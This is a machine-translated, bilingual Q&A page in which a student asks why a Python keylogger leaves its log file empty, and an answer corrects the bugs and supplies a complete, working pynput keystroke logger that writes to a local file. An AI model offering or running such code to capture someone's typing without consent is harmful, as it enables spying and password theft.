简体   繁体   English

Python 键盘记录器:.txt 文件不会保存我的击键

[英]Python Keylogger: .txt file won't save my keystrokes

I am creating a keylogger with Python as part of a school project, and I so far enabled my program to record user keystrokes.作为学校项目的一部分,我正在使用 Python 创建一个键盘记录器,到目前为止,我已经启用了我的程序来记录用户的击键。 I want those keystrokes to save to a file called 'log.txt' and I have written the code for it, but the 'log.txt' file, saves nothing and it is just blank.我希望将这些击键保存到一个名为“log.txt”的文件中,我已经为它编写了代码,但是“log.txt”文件没有保存任何内容,它只是空白。

How can I fix this?我怎样才能解决这个问题? Here is my code.这是我的代码。

count = 0
keys = [""]

def key_pressed(key):
    global keys, count
    keys = '{0}'.format(key)
    print(keys)
    
    

    if count >= 10:
        count = 0
        log_2_file(keys)
        keys = [""]

def log_2_file(keys):
     with open(file, path + ext + file, "a") as log_file:
         for key in keys:
             log_file(str(key))

def key_released(key):
    if key == keyboard.Key.esc:
        return False


with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
    loop.join()

Your help would be much appreciated, I have no idea where I am going wrong, and coming here is an absolute last resort.非常感谢您的帮助,我不知道我哪里出错了,来到这里绝对是最后的选择。

(By the way, I'm coding in IDLE 3.7.0) (顺便说一句,我在 IDLE 3.7.0 中编码)

You have made several mistakes in your code.您在代码中犯了几个错误。

In the log_2_file function:log_2_file function 中:

  1. with open(file, path + ext + file, "a") . with open(file, path + ext + file, "a") You pass three args to open(...) here.您在这里将三个参数传递给open(...) Although open supports more then 2 args, buffering , for instance (see this question and answer ), it looks that you have just mixed something up.尽管open支持超过 2 个参数,例如buffering (请参阅此问题和答案),但看起来您只是混淆了一些东西。 So I replaced two first args ( file, path + ext + file ) with just "keylogger.log" .所以我用"keylogger.log"替换了前两个参数( file, path + ext + file )。
  2. log_file('str(key)') . log_file('str(key)') log_flie is not a function here, it is a file object. It is not callable, and when you are about to write something in it, you should use its .write(something) method instead.这里的log_flie不是function,而是一个文件object。它是不可调用的,当你要往里面写东西的时候,应该用它的.write(something)方法代替。 You also should add log_file.flush() to be sure that changes appear immediately (not just after you .close() the file, or exit out of the with open(...) as...: body)您还应该添加log_file.flush()以确保更改立即出现(不仅仅是在您.close()文件之后,或者退出with open(...) as...: body 之后)
  3. You also should add "\n" after every key when you write it to the file, otherwise everything will be written into one line, without even a space between different keys.写入文件时,还应在每个键后添加“\n”,否则所有内容将写入一行,不同键之间甚至没有空格。
  4. You are setting keys to [""] before you are trying to write a block of 10 keypresses.在尝试编写 10 个按键块之前,您正在将keys设置为[""] It's a bad idea, because the first line of the log file is just empty.这是个坏主意,因为日志文件的第一行是空的。 You have better write the keys to a file and then write a newline.您最好将keys写入文件,然后写一个换行符。

In the key_pressed function:key_pressed function 中:

  1. Why do you use {0}.format(key) instead of str(key) .为什么使用{0}.format(key)而不是str(key)
  2. Presumably, you are trying to add the new key to the keys list.据推测,您正在尝试将新密钥添加到keys列表中。 But instead you are just setting the keys value to the str(key) .但是您只是将keys设置为str(key)
  3. You don't change the count value at all, so it never equal to 10. On the contrary, it is always 0.您根本不更改count数值,因此它永远不会等于 10。相反,它始终为 0。
  4. It's a bad idea to use count >= 10 .使用count >= 10是个坏主意。 Before it is going to be more than 10, it will definitely be 10 and the count will be 0 again.在要超过10之前,肯定是10 ,计数又是0。 So, use count == 10 instead.所以,改用count == 10

Here is the updated version of code:这是代码的更新版本:

from pynput import keyboard


count, keys = 0, []

def log_2_file(keys):
    with open("keylogger.log", "a") as log_file:
        for key in keys:
            log_file.write(str(key) + "\n")
            log_file.flush()
        log_file.write("\n")
            
def key_pressed(key):
    global keys, count

    keys.append(str(key))
    count += 1
    
    if count == 10:
        log_2_file(keys)
        count, keys = 0, []             

def key_released(key):
    if key == keyboard.Key.esc:
        return False

with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
    loop.join()

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM